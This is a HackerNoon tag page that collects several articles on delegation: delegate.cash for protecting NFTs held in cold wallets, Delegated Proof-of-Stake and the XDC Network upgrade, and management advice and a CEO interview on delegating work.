Dear HackerNoon Nation, A pillar of crypto and NFTs is their self-custody potential, which people can rely on to take full control of their digital things. One of the to safely store your own blockchain assets are “cold wallets” like hardware wallet devices. Think Ledgers, Trezors, the GridPlus Lattice, etc. best ways The problem? In the NFT space folks often store their blue-chips and grails on cold wallets, but then are compelled to use these wallets to claim airdrops their NFTs qualify for. Accordingly, under this security paradigm all it takes to swipe a cold wallet’s precious NFTs is convincing lookalike scam website tricking a user into signing transaction they don’t understand. one one The good news? With solutions like , you can now keep your NFTs safe while still actively using your cold wallet however you like via delegation. delegate.cash For today’s post, then, let’s walk through the basics of delegate.cash and how you can use it to step up your NFT security! -WMP Cold Wallet, Hot UX: Using delegate.cash to Safely Degen What’s up ❓ Millions and millions of dollars worth of NFTs were stolen by scammers last year. In September 2022, auditor, developer, and writer introduced , an “immutable primitive to safely claim airdrops for vaulted NFTs,” as a way to help mitigate these scams. foobar delegate.cash This NFT safety solution has been gaining traction ever since as a growing number of projects have directly embraced it, including large NFT studios like Yuga Labs. Other notable projects that already support delegate.cash include Art Blocks, CyberBrokers, and Forgotten Runes Wizard’s Cult. https://twitter.com/CryptoGarga/status/1613009236589703170?s=20&t=48CHKwE7XD4IjehVjBikKw&embedable=true How delegate.cash Works 🔐 Simply put, delegate.cash lets you secure your valuable NFTs while still actively using them to participate in activities like airdrop claims or DAO governance. The system is a smart contract-based registry that, among other things, lets you delegate your cold wallet’s NFT powers to a burner “hot wallet” of your choice like a MetaMask account. Your NFTs will stay in your cold wallet no matter what, but your linked burner can then act on their behalf. With this delegation system, you get the perks of a hardware wallet without having to reach for it every time you need to sign a transaction. Additionally, if you ending up degening into a scam project, any fallout will be limited to your delegated burner that you’ve specifically isolated in case of attack. The NFTs in your cold wallet will remain utterly untouched! do Lastly, keep in mind that delegate.cash is (no admin powers or attack vectors), (no offchain signature vulnerabilities), and (self-sufficient with no external dependencies). This trifecta means anyone can reliably use this solution in permissionless fashion. The system is also able to be deployed on any Ethereum Virtual Machine (EVM) chain. totally immutable totally onchain totally independent How to use delegate.cash 🪙 On delegate.cash and in the context of NFTs, it’s possible to delegate all your cold wallet’s NFT powers to a hot wallet of your choice, or delegate a NFT’s powers to your desired wallet. 1) 2) single If you’re interested in the first option, delegating to a throwaway burner, you would follow these steps: Go to delegate.cash Connect the cold wallet you vault your NFTs in, e.g. a Ledger device Copy the address of your designated burner wallet and paste it into the delegate.cash “Wallet” UI like so: Press the “Submit Delegation” button and complete the transaction with your cold wallet to finalize your entry in the registry That’s it! You can then track that and future delegations using the “View recent delegations” button below the Wallet delegation UI Remember: your linked burner will only represent your cold wallet for certain utilities, it can’t be abused to drain any NFTs from within your cold wallet! If you’re interested in just delegating a single NFT’s power instead, the process is similar to the one described above. You’d flick over to the “NFT” UI, paste in your desired hot wallet to link, then input the address of the NFT contract and your token ID # and fire off the final transaction to finish up. Why it Matters 🧠 NFT scammers have gotten increasingly sophisticated in recent years, so it’s no surprise that look-alike trap websites have ensared plenty of earnest minters so far. With solutions like delegate.cash, though, we now have a great defense against this attack vector. We can start turning the tide against these scammers accordingly by teaching more and more people to firewall their valuable NFTs via wallet delegation! Author Bio is a professional writer and creator of —a Bankless newsletter focused on the emergence of NFTs in the cryptoeconomy. He’s also recently been contributing content to Bankless, JPG, and beyond! William M. Peaster Metaversal Also published . here

Protecting Users and Saving NFTs With delegate.cash 🛅

Proteger a los usuarios y ahorrar NFT con delegar.cash 🛅

Protéger les utilisateurs et économiser les NFT avec le délégué.cash 🛅

डेलीगेट.कैश 🛅 के साथ उपयोगकर्ताओं की सुरक्षा और एनएफटी को सहेजना

delegate.cash を使用したユーザーの保護と NFT の保存 🛅

Protegendo usuários e economizando NFTs com delegate.cash 🛅

Bảo vệ người dùng và tiết kiệm NFT bằng delegate.cash 🛅

使用 delegate.cash 保护用户并保存 NFT 🛅

that requires nodes to lock in a certain amount of tokens to validate transactions. In return for validating transactions, they receive additional tokens as a reward. However, if the node acts maliciously, they lose its locked tokens. This process is known as staking. Proof-of-Stake (PoS) is a consensus algorithm The PoS system gives holders an equal and random opportunity to mine a new block. Before a new block is mined, a node is selected to validate the transactions within the next block. However, for a node to be selected, it must have a copy of the blockchain downloaded on its device (known as "running a full node"). Additionally, nodes need to be online at all times to validate transactions. For some people, this can prove inefficient or too cumbersome since they must be running a full node at all times. Delegated Proof-of-Stake (DPoS) can help to solve the staking issue for people who don't want to run a full node and be online 24/7. Delegated Proof-of-Stake is similar to Proof-of-Stake since users can stake their tokens to validate transactions within a block. However, DPoS uses a voting and delegation system to encourage users to contribute to network security by providing collateral. So, instead of running a full node and staking their tokens directly, network participants can elect a node to act as a validator on their behalf. Before validators can create a new block, the network must choose witnesses, sometimes referred to as delegates. Only those elected as delegates and voters can take part in this process. The precise number of delegates required to create a block varies with every project, but anything between is typically selected whenever a new block is established. When the block is created, and the data is validated, the delegate receives their reward (additional tokens). 20 and 100 delegates XDPoS and its latest upgrade Digital Contract (XDC) Network is a platform that uses its own form of DPoS, known as XDPoS. They recently revealed the newest update on XDPoS 2.0, now known as the XDC 2.0, its epoch-making consensus protocol upgrade. After a one-year-long incubation and testing, XDPoS 2.0, the advanced version of the XDC's consensus engine, is now embedded on the dev-net and is open for evaluation. XinFin Dr. Fisher Yu, Leader of the XDC Protocol Team, said: "XDC 2.0 is the next-generation consensus engine for the XDC Network. This upgrade will make XDC one of the world's most secure and efficient blockchains. Our team has been building and testing the new consensus engine for 12 months. We are happy to share with you that the engine has been built and fully rested on the dev-net." XDPoS 2.0 is the most pivotal upgrade for XDC Network since its launch in 2019. It aims to confer the utmost security and efficiency to the blockchain. Earlier in Q3 2021, the XDC team published a outlining the entire specifications of XDPoS 2.0. Henceforth, the upgrade required one year of beta testing to reach the end launch date. Fisher Yu the distinctive integrations this upgrade is syncing into the network. detailed paper highlighted Advanced Byzantine Fault Tolerance security with a forensics monitoring system, enhanced block finalization time of only three blocks, and sonic transaction speed is the array of sophisticated features integrated into the XDC platform. Principally, the deployment of BFT and the forensics monitoring system detect and eliminate malicious attackers from the network. In the last update, Andromeda, in December 2021, XDC's novel consensus engine – XDPoS, was enhanced with auxiliary upgrades. In addition, the network's EVM was upgraded to enable code deployment from different EVM chains. Once Andromeda went live on the Apothem testnet, the beta of forensic monitoring was integrated as the new functionality. Once this upgraded consensus engine goes live, XDC Network's automated judicial system will be activated. Subsequently, any malignant network activity on the blockchain would be immediately eliminated. Fisher Yu added that the newest consensus engine would go live on the Apothem testnet after completing the dev-net evaluation. The team ensures to facilitate this upgrade seamlessly without causing any hindrance to the existing network operations and infrastructure. The Ethereum scaling solution, XDC Network, is moving forward into the blockchain arena to boost decentralization, security, and efficiency. Firstly, XDC Foundation introduced XDC Network Improvement Proposals ( ) to its community this year. XIPs It mimics the functionality of EIPs as in Ethereum Network. This initiative aims to level up the standards of decentralization in the network. Favorably, XDC 2.0, also XDPoS 2.0, is expected to launch the epoch of the fourth generation of blockchains – "Blockchain 4.0." How DPoS Works In the Delegated Proof-of-Stake system, the more tokens a node has staked, the more influence they have over the voting process. This is because the number of tokens held determines voting power. Delegates can be removed from the DPoS process if they act maliciously or in an untrustworthy manner. Reputation also plays a part in the DPoS system. A node with a trustworthy reputation is more likely to be selected as a delegate. Nodes that are selected to become delegates are also referred to as "witnesses." For nodes to vote for delegates in a delegated proof of stake system, nodes must deposit their tokens into a staking pool and vote for their chosen delegate. Once selected, delegates must agree on which transactions to approve and which ones to cancel. Next, full nodes on the network validate the blocks. Validation of new blocks occurs only if the network has reached a consensus on the validity of the transactions. The block will not be validated if the delegate does not confirm the transactions in time. Only once the transactions have been confirmed promptly can the block be verified, and the delegate receives their block reward. Conclusion Delegated Proof-of-Stake is another iteration of the Proof-of-Stake system that uses a voting and delegation system to secure the network. Instead of running a full node, participants in the network can elect other nodes to validate transactions by depositing their tokens into a voting pool.

A Look at XDC Network & Delegated Proof-of-Stake in 2022 

If you want something done right, you have to do it yourself, right? The perfectionist in you likes to be in control and is good at finding excuses - “Outcome won’t be as good.” “It will take me longer to assign and explain than to do it myself.” “I don’t have anyone with the right skills.” “No one in the team wants to do it anyway.” There’s this itch to jump and solve every problem yourself. Got a presentation - no one can do it better than me. Got a production issue - it ain’t getting fixed if I am not involved. Got a client call - I need to seal this deal. Got a critical feature release - I better do it myself. The risk of not getting it right is way too high. Picture this. I am your supervisor, and I walk over to you with pencil in hand and tell you to take it. You reach for the pencil, but I won’t let go. So I say, ‘What is wrong with you? Why can’t I delegate the pencil to you? -  Andy Grove in High Output Management In the short term it may seem more convenient and less time consuming to do the task yourself. But the future costs are way too high: Tasks may seem small at first, but put together they add up and take a significant portion of your time. When you try to hog all the critical knowledge, you end up becoming a bottleneck to the overall output of your team. You stay up very late at night and get up early in the morning, yet feeling that there isn’t enough time to get everything done. Some important work is always falling through the cracks. You are so busy tackling the right now that you miss what’s important in the future. Your team gets the message “I don’t trust you enough.” You fail to invest in building the right skills within your team. At some point, the overwhelming amount of responsibilities takes a toll on your personal well-being and leads to stress and burnout. Does this sound familiar? You know you need to delegate and yet struggle to get it right every single time. When the outcome does not meet your expectations or work doesn’t get completed on time, is it a problem with trusting others to do it right? Do you find yourself saying “I should have done it myself” “I was a fool to let go” “I knew it’s never going to work.” All this frustration and annoyance is a result of not paying attention to the right strategies that make a delegation effective. So what can you do to scale yourself while also scaling for impact? You have to learn to delegate well. You have to build the skill that separates effective leaders from ineffective ones. You can’t do it all on your own. You have to let go of the control that stands in the way of your employees' growth. You have to learn to invest in those around you. Giving up control can feel hard, but it’s also necessary for growth. The ability to delegate to others is the main difference between the roles of manager and independent producer. A producer does whatever is necessary to accomplish desired results, to get the golden eggs. A parent who washes the dishes, an architect who draws up blueprints, or a secretary who types correspondence is a producer. But when a person sets up and works with and through people and systems to produce golden eggs, that person becomes a manager in the interdependent sense. A parent who delegates washing the dishes to a child is a manager. An architect who heads a team of other architects is a manager. A secretary who supervises other secretaries and office personnel is an office manager. A producer can invest one hour of effort and produce one unit of results, assuming no loss of efficiency. A manager, on the other hand, can invest one hour of effort and produce ten or fifty or a hundred units through effective delegation. Management is essentially moving the fulcrum over, and the key to effective management is delegation - Stephen R. Covey 5 Steps to Delegate Effectively 1. Shift from doing to leading Effective delegation requires letting go of control and it starts with a big mindset shift. Surely you were promoted because you were faster and better than your peers, but those aren’t the same skills that will help you succeed in this position. As a lead, manager or a leader, the impact of your work isn’t based on what you achieve directly, it’s rooted in how you enable your team to work together and deliver on results. In other words, don’t stretch your own limits, stretch the limits of your team. Shift your mindset from doing to leading others. From generating an outcome yourself to helping others achieve the same outcome. From practicing the skills that got you here to investing in building the same skills in others so that they can do it too. If you want to do a few small things right, do them yourself. If you want to do great things and make a big impact, learn to delegate - John C. Maxwell in Developing the Leaders Around You One of the reasons why it’s so hard to let go of control is aiming for faultless execution. When you aren’t willing to accept failures as learning opportunities or when every mistake reflects on their competence, you fail to give space to others to learn and grow. You see them as personal inadequacies as opposed to it being a natural part of growth. Build fault tolerance in your mind and attitude. Be willing to accept failures, to experiment. If you get furious every time someone makes a mistake, people will soon learn to play safe. Creativity and innovation will take a back seat and you won’t achieve what you have been aiming all along. When you struggle to delegate, start with asking yourself these questions: What am I struggling to let go off? What is my worst fear - is it realistic or just a creation of my mind? What are the upsides of delegating this work? What would happen if I continue working this way? Burn out, prevent my team's growth, limit what we can achieve together? Write them down to serve as a useful reminder. What does my role demand - perfectionism or teamwork? Facing these fears upfront will shift your frame of mind from the inclination to do it yourself to considering the possibility of delegating it to others. That in itself is a very useful first step. Once the mindset shift has started, it’s time to start shifting behaviors and the best way to do that is to do it right from the beginning. 2. Map right problems to right people Picking the right person is the crucial part of getting the job done well. It’s not always the person who can do it best. You need to ask yourself - who needs this opportunity right now? Who needs to practice these skills? Who might seem interested to take on this challenge? Who actually has the bandwidth? A crucial mistake most managers make at this stage is to delegate work which shouldn’t be done at all. Without careful planning, they hurry into getting things off their plate and end up delegating inconsequential work. Peter Drucker wrote, “There is nothing so useless as doing efficiently that which should not be done at all.” Have you ever been given illogical assignments, handed unimportant work, or commanded to do something in the most inefficient fashion possible? Not fun and not productive. Now it’s your turn to show that you know better. Delegation is to be used as a further step in reduction, not as an excuse to create more movement and add to the unimportant. Unless something is well-defined and important, no one should do it. Eliminate before you delegate - Tim Ferris, The 4-Hour Workweek A useful practice to effectively delegate involves utilizing the Eisenhower Matrix to prioritize all your goals into the 4 quadrants which enables you to focus on the important, work towards reducing the urgent, identify work that can be delegated and ruthlessly eliminate everything else. Passing responsibilities and giving opportunities to others is great, but not if it’s something that you got to do yourself. Laying out vision for the team, determining recruitment budgets, defining hiring plans, or conducting interviews as a hiring manager are examples of some of the important things that shouldn’t be delegated or delayed. Finding the right balance is tricky. You have to look at both the sides and ask questions: What can I and only I do? Why am I the best person to solve this problem? Can I delegate the rest? Which tasks will help my team learn something new? What kind of opportunities will help them build a new skill? Once you are able to identify the parts that only you can do, identify ways to delegate the rest. Map people to different areas based on their strengths, the opportunities they need or the skills they have been looking to practice. With the right thing to delegate figured out, next comes the problem of delegating it right. 3. Delegate problems, not solutions Managers fail to delegate effectively when they pass on the opportunity but refuse to give the autonomy that goes with it. They share the “what,” but hold on to the “how.” They want things done and want it done their way. It leaves their team members, especially the high performers frustrated. They say - what’s the point of delegating a task and then micromanaging every decision? To delegate effectively, focus on the results and not the methods. Show them the destination, but let them steer their own ship. Don’t let your ego or desire for perfectionism obstruct others from getting work done. Be ready to accept the fact that different people will take different approaches. Some tasks will not be so well done and others will be better than you had imagined. Spend your time and energy into providing clear, upfront understanding of the problem statement and ask for their commitment in driving it to completion. Let your team know that some failure is acceptable, but that doesn’t give them permission to be careless or lazy. Talk to them about what’s acceptable and what’s not. You can keep the bar high while leaving room for learning and growth. In Drive, Daniel Pink writes that people often want autonomy over the four T’s “their task, their time, their technique, and their team.” In an economy that demands nonroutine, creative, conceptual abilities—as any artist or designer would agree. Autonomy over task has long been critical to their ability to create. And good leaders (as opposed to competent “managers”) understand this in their bones - Daniel Pink What can you do? Think in terms of the final outcomes you desire and not the specific tasks someone needs to do to achieve it. When you define the outcome clearly, but empower others to implement their own solutions, they aren’t restricted to one way of doing things. Giving people a choice of method also makes them feel responsible for results. Share the “what” - the specific outcome that needs to be achieved, support it with “why” - how it fits into the big picture and define what success looks like - what looks like a job well done. Knowing the “Why” of doing something is both motivating and inspiring. It opens the door to creativity and innovation. It invites people to find new ways of doing things as opposed to sticking with how it has always been done. By letting go of “how,” you aren’t asking them to simply mark an item off their todo list, you are asking them to create their own todo list to accomplish the task. This advice from General George S. Patton sums up the idea well “Don’t tell people how to do things, tell them what to do and let them surprise you with their results.” 4. Delegate, don’t abdicate Empowerment does not mean boundary less freedom. You cannot be too hands off and expect people to figure everything out on their own. People need support to feel empowered. Leaving them to struggle and figure everything out on their own leads to frustration, adds to confusion and lack of support can make them feel helpless. They need your support along the way. Involved too much? You run the risk of micromanagement. Involved too little? It can make you miss those critical moments where your support or advice could have made a difference. The magic is in the balance. Delegation without follow-through is abdication. You can never wash your hands of a task. Even after you delegate it, you are still responsible for its accomplishment, and monitoring the delegated task is the only practical way for you to ensure a result. Monitoring is not meddling, but means checking to make sure an activity is proceeding in line with expectations - Andy Groove Set upfront expectations on the intermediate milestones. Align on frequency of updates. Discuss how and when you can touch base to keep things moving. Knowing you are there to help can act as a powerful force to keep them motivated on the task. When they face challenges or setbacks, help them find their own solutions by asking questions instead of spoon-feeding solutions. Coach, don’t solve is the mantra. Ask relevant questions to develop their critical thinking skills: What have you tried? What worked? What didn’t work? What obstacles stand in your way? What can you do to tackle them? What else can you do to make progress? Who else might be helpful in solving this problem? How can you ask for help? 5. Incorporate feedback loop Every leader is blind to their own blind spots. Consider yourself a rockstar at delegation? Ask your team - they probably think you suck at it. The only way to know where you stand and what you can do to improve is to incorporate feedback from the process. Spend some review time with your team to understand how delegation worked for them: Did they understand the problem clearly? Were they empowered to solve it? Did they get the context and support required to solve it effectively? What were they missing? What can be done better? What’s going well and how can it be improved? What should you absolutely stop doing? What should you start doing to make delegation more effective? What part of delegation doesn’t work and needs a new strategy to make it more effective? Doing this at frequent intervals with your team not only establishes their trust, it opens you to implement your own self-correction process so that you can finally let go of that control and enable your team to start doing more. Summary If you are tasked with the responsibility to lead others, you need to learn to delegate effectively. It’s the only way to scale your impact and the output of your team. Trying to do everything yourself prevents your team from building the essential skills to learn and grow, limits your teams’ collective outcome and can cause you to feel stress and burnout. The first step to let go of control requires a mindset shift from doing to leading others. Break down your goals and map them to different team members based on their skills or the opportunities they need. Be careful to avoid delegating work that shouldn’t be done at all or a task that only you need to fulfill. Delegate the “what” of the problem, support it with “why,” and empower your team to work out the “how.” Stating the expected outcome without the method enables your team to achieve better results. Don’t abdicate your team. Support and coach them to make the right decisions and continue making forward progress. No process can improve without incorporating the feedback loop. Work with your team to determine how you are doing and what you can do to be better. Previously published here .

How Successful Managers Delegate Work Effectively

Effective Leadership Series Isaac Oates is the Founder and CEO of Justworks, the fastest growing HR technology company that helps entrepreneurs and businesses grow with confidence by giving them access to big-company benefits, automated payroll, HR tools, and compliance support — all in one place. FirstMark is a proud investor in Justworks. Early in his career, Isaac worked concurrently at Amazon and in the United States Army as an intelligence officer—in both roles honing various aspects of his leadership approach. After Etsy acquired his first startup Adtuitive, Isaac led Etsy’s HR and payments group. He founded Justworks in 2012. We recently caught up with him to hear more about his growth as a leader, how he handles delegation as CEO, and much more. What was your first management role? What did you learn from it? I started my career as a software engineer at Amazon, where I worked on “third party payments” (3PP), the system that moved money between buyers and sellers on their marketplace. About three years in, I took on a project management role within the team. Even though no one reported to me on paper, I was in a position to lead the broader team to a successful outcome. That was the first time it really clicked that leadership isn’t about the boxes and lines on an org chart, but about following people that you trust and respect. Early in your career, before you assumed leadership roles, what was one quality you appreciated in a great manager? My first manager at Amazon, Phil Wilson, really cared about me as a person. I was 22, fresh out of school and had just started as an engineer on the payments team. Phil would talk with me about his own career experiences and help me think through the challenges I was facing. I think the big lesson was that he could lead by asking questions rather than telling you what to do. He was really good at letting you draw your own conclusions but also getting you where he wanted. This is something I wish I was better at. It requires a lot of patience. He was much more like a coach or older brother in the support he gave and we’re still in touch to this day. The big lesson was that he could lead by asking questions rather than telling you what to do. What are the most important daily or weekly habits that you’ve developed as a leader? Whether it’s on paper, on a spreadsheet, or in my inbox, sorting tasks into different groups and then attacking them together head-on has helped me be more productive. Recently, for example, I set up some filters in my email account that separate messages that demand a response from everything else. That might seem small, but it’s changes in habit like this that have helped me be much more responsive to the people I work with. It’s made a surprisingly large difference in our operating tempo. I also take time on Sundays to draft emails to send out on Monday morning. It helps me catch up on my inbox without also dumping work on my team over the weekend. What framework do you use for your one-on-one meetings? I like to review the goals that we’ve set together, discuss if any changes are appropriate, and then exchange feedback. I have 30 minutes per month with each of my direct reports, so most of our substantive discussion happens in group meetings rather than 1:1. That’s intentional — I think group meetings are helpful in building shared consciousness and minimizing politics. How do you handle delegation? What and when do you choose to delegate and how’d you become comfortable with it? I’ve been fortunate to hire and work with some extremely talented people at Justworks, who are much better at most things than I am. That makes it easy to delegate. That said, if I’m still getting comfortable with their work style or it’s a high-risk project then I ask to stay involved as it progresses. Some things I’ll always stay closely involved in, for example, activities that impact or send messages about our culture like promotions to leadership roles and company-wide events. If I’m still getting comfortable with their work style or it’s a high-risk project then I ask to stay involved as it progresses. What advice would you give to a first-time manager about giving effective feedback? Giving effective feedback is difficult but it gets easier with time. I don’t have a specific framework, but I do acknowledge the person’s accomplishments and the effort they have put in. I also make it clear that my goal is to help them and the entire company perform better and that they should take the feedback in that vein, rather than criticism just for the sake of it.Giving feedback is probably the #1 management challenge for many people, including very senior and experienced leaders. Just keep working on it. What’s one unique hiring tip you’d share with a first-time manager? Start with the basics. Figure out where the person is from, what they’re about, what they value. Then ask yourself the right questions. Will this person strengthen your team? Do you think they have the potential to be promoted a few times? Do they have the curiosity to keep growing? Sometimes you get lucky and the right person falls in your lap, but usually, it takes a lot of nos to get to a yes. It’s worth taking the time. Want more? Check out our other Effective Leadership interviews with seasoned leaders from , , , and . Box Slack Oscar Trello Is there someone who you really admire as a leader (not at your current company) and would like to see us interview? Send their name and short description to jack@firstmarkcap.com.

Justworks’ Isaac Oates on How To Delegate as CEO + More

While having a steady flow of work is essential to any company’s growth, constantly staying busy isn’t always a good sign. Granted, being a small business owner requires sacrifices and that can mean acting as your own accountant, office manager, sales rep, and everything in between. Eventually, however, the natural scope of a business will grow and the tasks at hand will become larger and more demanding; this is when it’s time to delegate. Those with the entrepreneurial spirit tend to be independent idealists with just a dash of stubbornness. Finding their calling by paving their own way to success, starting a business requires dedication and sacrifice. Many new businesses don’t survive their first year, but CEOs with honed delegation skills boost their odds of success right out of the gate. Even further down the line, managers with developed delegation skills have been shown to generate 33% more revenue for their operations than those who rely on micromanaging to assign responsibility. Smart managers understand that real delegation begins on a personal level and the value of getting to know their employees and colleagues. Understanding the work styles, time constraints, and skills of employees is essential. This opens up the door for intuitively delegating the right work to the right employees and is what separates just a boss from a true leader. How does work delegation look in your company? Take a look at this infographic from ScaleTime for more on the , what it takes to be a good manager, and how to help your team work smarter, not harder. art and science of delegation

Knowing When and How to Delegate in Your Company

As the Proof of Stake consensus mechanism gains popularity (often displacing the Proof of Work consensus mechanism), blockchain developers have innovated on the traditional Proof of Stake mechanism, resulting in the Delegated Proof of Stake mechanism. This post will analyze the differences between traditional Proof of Stake and Delegated Proof of Stake consensus mechanisms. Traditional Proof of Stake In traditional Proof of Stake consensus a user must put some cryptocurrency at stake in order to become validator. A system requires a user to put a certain number of cryptocurrency units at stake to be able to verify transactions. The creator of a new block is chosen pseudo-randomly, depending on the user’s wealth and coins at stake. In the Proof of Stake system, blocks are ‘forged’ or ‘minted’, not mined. Users who validate transactions and create new blocks in this system are ‘forgers’. Proof of Stake In most Proof of Stake virtual currencies, digital currency units are created at the launch of the currency and their number is fixed. Therefore, rather than receiving cryptocurrency units as rewards, forgers receive transaction fees. In a few cases, new currency units can be created by inflating the coin supply, and can be used to reward forgers. To validate transactions and create blocks, a forger must first put their own coins at stake. Think of stake as an escrow account: if a forger validates a fraudulent transaction, they lose their holdings, as well as their future rights to participate as a forger. Forgers are therefore incentivized to validate only correct transactions. The Proof of Stake system does not provide a way to distribute coins at the initial, founding phase of a cryptocurrency. So, cryptocurrencies that use this system either begin with an ICO and sell their pre-mined coins, or begin with the Proof of Work system, and switch over later. Most Proof of Stake coins that pay a transaction fee reward for verifying transactions and creating new blocks set a target interest rate that users can expect to earn from staking their coins. For cryptocurrencies in which forgers create new coins, this rate also becomes the maximum rate at which currency supply is inflated over time. Cyptocurrencies that currently run the proof of stake system are BlackCoin, Lisk, Nxt and Peercoin, among others. Delegated Proof of Stake Blockchains running the Delegated Proof of Stake consensus have a select group of witnesses as well as a governing body. The blockchain engineer Daniel Larimer is credited with creating the (DPoS) system. DPoS seeks to by speed up transactions and block creation, while not compromising the decentralized incentive structure at the heart of the blockchain. DPoS is the next step in the evolution of consensus mechanisms. It builds on the original Proof of Stake consensus mechanism and drastically increases speed and scalability. Delegated Proof of Stake In the traditional , a user can put their coins at stake, thereby earning the right to validate transactions, forge blocks, and earn associated rewards. DPoS, a variation of the Proof of Stake consensus, seeks to reach consensus more efficiently. Proof of Stake consensus mechanism Voting In DPoS systems, users ‘vote’ to select ‘witnesses’ (other users they trust to validate transactions), and the top tier of witnesses (who have collected the most votes) earn the right to validate transactions. Users can even delegate their voting power to other users, whom they trust to vote for witnesses on their behalf. Votes are weighed according to the size of each voter’s stake. A user need not have a large stake to enter the top tier of witnesses. Rather, votes from users with large stakes can result in users with relatively small stakes being elevated to the top tier of witnesses. Witnesses The number of witnesses in the top tier is capped at a certain number. These witnesses are responsible for validating transactions and creating blocks, and are in return awarded the associated fees. Though witnesses in the top tier can prevent specific transactions from being included in an upcoming block, they cannot change the details of any transaction. They are thus equivalent to miners in a Proof of Work system. Voting is a continuous process and each witness in the top tier is always at risk of being replaced by a user who gets more votes and is therefore considered more trusted. As a blockchain grows, it becomes increasingly competitive to become or remain a witness in the top tier. Users can also vote to remove a witness in the top tier who has lost their trust. For a witness in the top tier, threat of loss of income and reputation is the primary incentive against malicious behavior. Delegates Users in DPoS systems also vote for a group of ‘delegates’ (trusted parties responsible for maintaining the network). The delegates oversee the governance and performance of the entire blockchain protocol, but do not play a role in transaction validation and block production. For example, the delegates can propose changing the size of a block, or the amount a witness should be paid in return for validating a block. Once the delegates propose such changes, the blockchain’s users vote on whether to adopt them. Blockchains running the DPoS consensus mechanism. Blockchains including Lisk, EOS, Steem, BitShares and Ark have adopted the DPoS consensus mechanism. Summary of Differences between Proof of Stake and DPoS 1. Block creation: in Proof of Stake systems, the creator of a new block is chosen in a pseudo-random way, depending on the user’s coins at stake. In DPoS systems, users vote to elect a number of witnesses. The top tier of witnesses (typically 20) are rewarded for verifying transactions and creating blocks. DPoS is much faster due to a significantly smaller number of users verifying transactions and creating blocks; DPoS is therefore more scalable. 2. Governance: Proof of Stake systems have the blockchain’s rules and parameters programmed into the genesis block. Consequently, any changes mean a fork in the protocol. On the other hand, DPoS systems have an elected panel of delegates who actively govern the blockchain and can propose changes to the protocol, though the changes must be approved by the users for them to come into effect. DPoS aims to create better incentives and a fast, scalable, more distributed and more efficient consensus mechanism.

Stories, News & Mentions about DELEGATE

Delegate’s Stories on HackerNoon

Delegate's News & Mentions